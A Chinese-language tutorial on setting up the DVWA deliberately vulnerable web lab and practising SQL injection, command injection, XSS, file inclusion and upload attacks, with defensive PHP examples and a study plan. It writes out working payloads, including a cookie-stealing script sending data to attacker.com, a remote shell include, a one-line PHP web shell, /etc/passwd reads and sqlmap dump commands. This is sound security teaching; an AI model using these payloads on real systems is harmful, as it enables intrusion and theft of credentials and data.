DVWA漏洞靶场实战项目
一、项目概述
DVWA(Damn Vulnerable Web Application)是一个专门用于安全漏洞学习和测试的PHP/MySQL Web应用。本项目将带你完成DVWA靶场的搭建、配置和漏洞实战演练。
二、环境搭建
1. 准备工作
方案一:使用Docker(推荐)
# 拉取DVWA镜像
docker pull vulnerables/web-dvwa
# 运行容器
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
方案二:本地安装(XAMPP/WAMP)
- 下载XAMPP:https://www.apachefriends.org/
- 下载DVWA:https://github.com/digininja/DVWA
- 将DVWA解压到htdocs目录
- 启动Apache和MySQL服务
2. 初始化配置
# 访问DVWA
http://localhost
# 点击"Create/Reset Database"创建数据库
# 默认登录凭据:
# 用户名:admin
# 密码:password
三、安全等级设置
- Low:无防护,用于学习漏洞原理
- Medium:基础防护,需绕过简单过滤
- High:较强防护,需高级绕过技巧
- Impossible:最佳实践防护
四、核心漏洞实战
1. SQL注入(SQL Injection)
Low等级攻击:
-- 基础注入
1' OR '1'='1
-- 获取数据库信息
1' UNION SELECT user(), database()--
-- 获取表名
1' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema=database()--
防御措施:
- 使用参数化查询
- 对输入进行严格过滤
- 最小权限原则
2. 命令注入(Command Injection)
攻击示例:
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1; ls -la
防御措施:
- 使用白名单验证输入
- 避免使用系统调用函数
- 使用安全的API替代
3. 跨站脚本(XSS)
反射型XSS:
<script>alert(document.cookie)</script>
<svg onload=alert(1)>
存储型XSS:
<script>new Image().src="http://attacker.com/steal?cookie="+document.cookie</script>
防御措施:
- 输出编码
- 设置HttpOnly Cookie
- 使用CSP策略
4. 文件包含(File Inclusion)
本地文件包含:
../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
远程文件包含:
http://attacker.com/shell.txt
5. 文件上传漏洞
攻击步骤:
- 创建恶意PHP文件
<?php system($_GET['cmd']); ?>
- 修改文件扩展名绕过检测
- 访问上传的文件执行命令
五、自动化测试工具实践
1. 使用Burp Suite
配置流程:
1. 设置浏览器代理
2. 拦截HTTP请求
3. 使用Intruder模块进行暴力破解
4. 使用Repeater模块修改请求
5. 使用Scanner自动扫描漏洞
2. 使用SQLMap
# 基础扫描
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=xxx; security=low"
# 获取数据库
sqlmap -u <URL> --cookie=<COOKIE> --dbs
# 获取表名
sqlmap -u <URL> --cookie=<COOKIE> -D dvwa --tables
# 获取数据
sqlmap -u <URL> --cookie=<COOKIE> -D dvwa -T users --dump
六、实战演练任务清单
| 漏洞类型 | 难度 | 任务要求 | 完成状态 |
|---|---|---|---|
| SQL注入 | Low | 获取所有用户信息 | □ |
| SQL注入 | Medium | 绕过过滤获取数据 | □ |
| XSS反射型 | Low | 弹出当前Cookie | □ |
| XSS存储型 | Medium | 窃取管理员Cookie | □ |
| 文件上传 | High | 上传WebShell并执行命令 | □ |
| CSRF | Medium | 构造恶意页面修改密码 | □ |
七、防御代码示例
1. 安全的SQL查询(PHP)
// 使用预处理语句
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $userId]);
$result = $stmt->fetchAll();
2. XSS防护
// 输出编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 设置CSP头
header("Content-Security-Policy: default-src 'self'");
3. 安全的文件上传
// 检查文件类型
$allowed_types = ['image/jpeg', 'image/png'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die("Invalid file type");
}
// 重命名文件
$new_filename = uniqid() . '.' . $extension;
八、学习路线建议
第一阶段:基础入门(1-2周)
- 完成环境搭建和基本配置
- 逐个尝试Low等级的所有漏洞
- 理解每种漏洞的原理
第二阶段:进阶挑战(2-3周)
- 尝试Medium和High等级
- 学习绕过技巧
- 使用自动化工具辅助测试
第三阶段:深入分析(1周)
- 查看Impossible级别的源代码
- 理解最佳防御实践
- 尝试编写自己的防护代码
九、注意事项
- 合法授权:仅在授权的测试环境中使用
- 备份数据:测试前备份重要数据
- 网络隔离:在隔离的网络环境中测试
- 学习目的:仅用于学习网络安全知识
十、扩展资源
- 官方文档:https://github.com/digininja/DVWA
- CTF挑战:尝试其他漏洞靶场如WebGoat、bWAPP
- 在线平台:HackTheBox、TryHackMe
- 相关书籍:《Web安全深度剖析》《白帽子讲Web安全》
项目总结:通过DVWA实战项目,你可以系统性地学习Web安全漏洞的原理、利用方式和防御方法。建议按照从易到难的顺序逐步深入,并结合实际代码分析加深理解。安全测试不仅是技术学习,更需要良好的职业道德和法律意识。
1696

被折叠的 条评论
为什么被折叠?



